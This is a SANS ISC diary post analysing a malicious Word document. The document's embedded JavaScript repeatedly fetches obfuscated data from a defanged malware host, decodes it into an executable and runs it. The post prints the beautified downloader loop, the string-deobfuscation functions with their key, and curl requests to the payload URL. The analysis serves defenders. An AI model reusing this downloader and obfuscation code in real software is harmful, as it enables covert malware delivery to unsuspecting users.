Another Day, Another Obfuscation Technique
viper Order-complete.docx > info +----------+----------------------------------------------------------------------------------------------------------------------------------+ | Key | Value | +----------+----------------------------------------------------------------------------------------------------------------------------------+ | Name | Order-complete.docx | | Tags | whiteknight | | Path | /home/nonroot/.viper/binaries/2/9/d/c/29dcb52fc33dd94a4e2eb866ad3e86ec60f3414372dbd557308d6c59b7131ae3 | | Size | 17034 | | Type | Microsoft Word 2007+ | | Mime | application/vnd.openxmlformats-officedocument.wordprocessingml.document | | MD5 | 64b342c80a7f9e7ec1c85f1f0059feb3 | | SHA1 | 5e0b0c0ed682139588f61f37eaf789003590b66a | | SHA256 | 29dcb52fc33dd94a4e2eb866ad3e86ec60f3414372dbd557308d6c59b7131ae3 | | SHA512 | ae709954da0b03a85323e180961a393820a4289a52e1ae752f499a58947863df86cbb9f66a6a7fe5478f9b64278f055f10bc6ba1871df28f882f71d756cbae48 | | SSdeep | 384:TyD28Wf7rR+4pMyFvt3nr+Jjgozm3BTmDU:FpzrgeRrqXgMU | | CRC32 | 58486E87 | | Parent | | | Children | 25545563f98f99ee0274c2698eefbfec91e176d2165f755ca7ef455b3d468016, | +----------+----------------------------------------------------------------------------------------------------------------------------------+ viper Order-complete.docx > virustotal -v [+] VirusTotal Report for 64b342c80a7f9e7ec1c85f1f0059feb3: [*] Detecting engines: +----------------+----------------------------------+ | Antivirus | Signature | +----------------+----------------------------------+ | Cyren | JS/Agent.XL!Eldorado | | F-Prot | JS/Agent.XL!Eldorado | | Fortinet | JS/Agent.16C27!tr | | NANO-Antivirus | Trojan.Script.Heuristic-js.iacgm | | Qihoo-360 | virus.js.qexvmc.1065 | +----------------+----------------------------------+ [*] 5 out of 59 antivirus detected 64b342c80a7f9e7ec1c85f1f0059feb3 as malicious. [*] https://www.virustotal.com/file/29dcb52fc33dd94a4e2eb866ad3e86ec60f3414372dbd557308d6c59b7131ae3/analysis/1493301470/
This is usually a good signal for a deeper analyse. We see more and more new types of Microsoft office documents. They are slightly moving from the classic macro that starts automatically:
Sub Auto_Open() Msgbox "Welcome to SANS ISC!" End Sub
to techniques that entice the users to perform an action by stirring up his/her curiosity or by using some social engineering tricks. This is also a good protection against automatic analysis in a sandbox because the document will be opened but the dangerous action not performed.
When you click on the OLE link, you will trigger the execution of a malicious Javascript payload.
viper Order-complete.docx > office -s [*] Document Structure - [Content_Types].xml - _rels/.rels - word/_rels/document.xml.rels - word/document.xml - word/media/image1.emf - word/embeddings/oleObject1.bin - word/theme/theme1.xml - word/settings.xml - word/webSettings.xml - docProps/core.xml - word/styles.xml - word/fontTable.xml - docProps/app.xml
The Javascript is located in word/embeddings/oleObject1.bin. Once extracted and stored in "%APPDATA%\Local\Temp\Order complete.js", it is executed and download a malicious PE file. Let's have a look at some particularities of the code.
First fact: The Javascript is trying to download some content from a website and remains in the main loop until it is successful: (Note: the code has been beautified for easy reading)
var loop = 0; while(true){ loop++; try { c.open(deobfus('----uFuwwu',1), deobfus('----q&FuFuF_;cU:U:quqwFqUtFFq2FuqwFUF;q&q:FFqUFUq2qtF;q:qtUtq;q:qLU:qjqtqqq:UtF_q&F_',1)+'?ff' + loop, false); c.send(); } catch(e) { WScript.Sleep(1000); continue; } var data = c.responseText.indexOf('|||'); if( data == -1 ){ WScript.Sleep(1000); continue; } if(c.Status == 200) break; }
It tries to access the following URL:
hxxp://dev.watershowbranson.com/info.php?ffX
'x' being incremented by the loop.
When you try to access manually this URL, you get a different content depending on 'x':
$ curl hxxp://dev.watershowbranson.com/info.php?ff1 7,1,2,1,7,7,4,7,6,9,5,5,2|||1d6a11774069571211747695ffff7121b57476957121774709571217747695712177476957121774769571217747695...(removed) $ curl hxxp://dev.watershowbranson.com/info.php?ff2 7,2,4,0,2,8,4,8,0,1,8,2,3|||1d7a30284101872406848018ffff7240b08480187240284841872402848018724028480187240284801872402848018...(removed) $ curl hxxp://dev.watershowbranson.com/info.php?ff3 9,2,0,7,4,7,6,4,1,1,6,4,2|||3d7a97476711692078764116ffff9207b27641169207476451692074764116920747641169207476411692074764116...(removed)
Note the '|||' which seems to be a separator.
Second fact: All the strings used in the Javascript code are obfuscated. They are processed by those two functions: (Note: the code has been beautified)
function dabbeeeccdcdfda(dfddaabebca) { var dafeeedcfed = dfddaabebca.toString(); var daddbdbfeed = ''; for (var ebcebafed = 0; ebcebafed < dafeeedcfed.length; ebcebafed += 2) daddbdbfeed += String.fromCharCode(parseInt(dafeeedcfed.substr(ebcebafed, 2), 16)); return daddbdbfeed; } function deobfus(s,key){ var fcddcdfcfcfc = "$d.JkT0_gOQ7F:%(*Z,-fCIximY^DLva+WB@4u8&Et!r12URM6q9jKVyAczPn3;HX)pbNhSGsloe5w"; var buffer = ""; var l = fcddcdfcfcfc.length-1; var size = acbfdddda.length; for(var abcafefaddd = 0; abcafefaddd<size ; abcafefaddd++){ var bdccddcfcfdec = fcddcdfcfcfc.indexOf(acbfdddda.charAt(abcafefaddd)); var cfbbadafdfabf = bdccddcfcfdec - key; if (cfbbadafdfabf<0) { cfbbadafdfabf = l - Math.abs(cfbbadafdfabf); var caefccffcbfabf = l - 1; if (cfbbadafdfabf==caefccffcbfabf) cfbbadafdfabf = cfbbadafdfabf + key; } buffer = buffer + fcddcdfcfcfc.charAt(cfbbadafdfabf); } return dabbeeeccdcdfda(buffer); }
Example:
var foo = deobfus('----q&FuFuF_;cU:U:quqwFqUtFFq2FuqwFUF;q&q:FFqUFUq2qtF;q:qtUtq;q:qLU:qjqtqqq:UtF_q&F_',1) WScript.echo(foo);
Will return:
hxxp://dev.watershowbranson.com/info.php
Data returned by the HTTP request use another obfuscation technique. Data are passed to another function with the key being the array of integers (example as seen above: 7,1,2,1,7,7,4,7,6,9,5,5,2). The result is a classic PE file dumped on disk (%HOME%\Desktop\cab4.exe) and executed. The malicious file is a classic trojan.
viper cab4.exe > virustotal -v [+] VirusTotal Report for 5dc3d99293fe7b70a9796cf04492b954: [*] Detecting engines: +-------------------+--------------------------------------------+ | Antivirus | Signature | +-------------------+--------------------------------------------+ | Baidu | Win32.Trojan.WisdomEyes.16070401.9500.9999 | | CrowdStrike | malicious_confidence_100% (D) | | Cyren | W32/Spora.E.gen!Eldorado | | Endgame | malicious (high confidence) | | F-Prot | W32/Spora.E.gen!Eldorado | | Fortinet | W32/GenKryptik.ADNX!tr | | Invincea | virus.win32.sality.at | | McAfee | Ransomware-FMFE!5DC3D99293FE | | McAfee-GW-Edition | BehavesLike.Win32.Backdoor.fc | | Qihoo-360 | HEUR/QVM19.1.C414.Malware.Gen | | SentinelOne | static engine - malicious | | Sophos | Mal/Elenoocka-E | | Symantec | ML.Attribute.HighConfidence | +-------------------+--------------------------------------------+ [*] 13 out of 61 antivirus detected 5dc3d99293fe7b70a9796cf04492b954 as malicious. [*] https://www.virustotal.com/file/13e7a1f1291b0ddf1587d86b94989e0d8ff4884e3f2354810130a7865d0d431c/analysis/1493313215/
In this example, we have multiple payloads downloaded with their associated key (no direct PE file), we don't see XOR encryption or Base64 encoding. Nothing suspicious, just plain text!
Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant
PGP Key
Reverse-Engineering Malware: Advanced Code Analysis | Online | Greenwich Mean Time | Oct 28th - Nov 1st 2024 |
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